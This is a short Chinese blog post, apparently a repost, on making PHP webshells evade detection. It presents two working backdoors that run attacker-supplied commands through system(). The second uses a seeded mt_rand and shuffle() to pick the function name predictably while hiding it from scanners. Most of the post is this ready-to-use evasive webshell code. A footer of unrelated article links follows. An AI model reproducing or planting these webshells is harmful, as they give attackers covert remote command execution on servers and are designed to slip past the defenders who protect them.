当前位置: 首页 > news >正文

记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);


http://www.mrgr.cn/news/17475.html

相关文章:

  • HighPoint发布NVMe RAID外壳以应对严苛环境
  • 详解PyTorch中的`add_self_loops`函数及其在图神经网络中的应用
  • 【微服务】限流、熔断和降级(持续更新中~)
  • Clickhouse 为什么这么快
  • 【入门】面试408机试-排序(冒泡排序、快排)
  • 封装_私有类字段和方法
  • django企业开发实战-学习小结1
  • 数据库(MySQL)的基本操作
  • 每日错题(2024年9月1日)
  • Docker(完整实验版)
  • 二分查找 | 二分模板 | 二分题目解析
  • 时间戳:时间的数字化表达
  • 顶顶通热词模型配置热词方法(mod_cti基于FreeSWITCH)
  • Mysql:create table ... select ...报错
  • 18041 分期还款(加强版)
  • 进程间的通信(IPC)基础了解,匿名管道使用,有名管道使用
  • 9-8 束搜索
  • 栈和队列的学习以及实现+双端队列的底层原理
  • wiki.js 部署
  • 华为云征文 | Flexus X与宝塔面板的完美结合,让云管理更轻松